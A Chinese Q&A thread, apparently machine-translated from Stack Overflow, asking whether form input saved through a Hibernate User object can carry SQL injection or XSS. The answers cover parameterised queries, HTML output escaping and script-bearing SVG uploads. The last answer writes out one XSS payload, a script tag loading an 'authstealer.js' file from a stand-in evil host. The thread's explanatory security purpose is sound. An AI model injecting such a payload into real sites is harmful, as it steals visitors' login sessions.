2017-10-19 186 views
0

我有一个表格,用户可以注册到我的网站 的数据被存储在用户POJO可以攻击者注入SQL或JavaScript到Java POJO?

class User{ 
private String userName; 
private boolean enabled; 
private Date registrationDate; 
... 
} 

,然后坚持用

org.hibernate.Session.persist(User) 

数据库是有办法的攻击者可以在userName字段上执行sql注入或XSS,污染数据或进行其他类型的攻击,我如何防范它?

另外攻击者是否可以将sql语句或javascript代码存储在String以外的数据类型?

回答

0

干净利用hibernate,说不要做丑陋的事情,是安全的。所以没有SQL注入

但是,如果HTML表单输入不能防范JavaScript,那么您可能会在数据库中的文本中获得JS。

在输出该文本时,必须注意escapeHTML = true。 然后没有XSS

一般来说不是一个大问题,但要注意开发人员在管理页面上的懒惰与转储等;这些页面可能更简单地创建。

在其他格式:SVG(编写脚本的矢量格式)是图像的美丽可扩展的XML格式,在HTML页面showable。然而,它们可能包含用于交互的JavaScript。

这同样适用于上传richt文本电子表格格式,有时会保存在BLOB S IN的数据库。

1

https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

它始终是更好地验证表单输入。由于给定的对象相对简单,所以对你来说不应该是个问题。

也不要通过字符串连接构建您的查询,并在需要时使用Query.setParameter()。这些方法专用于SQL注入预防,并将消除这种风险。

1

从您发布的内容到目前为止,这看起来很容易受到XSS的影响。 如果我为我的用户名以下字符串:

Username<script src="http://myevilsite.com/authstealer.js"> 

任何人谁看到我的用户名在网站上会运行一些JS。

也许您应该burp您的网站。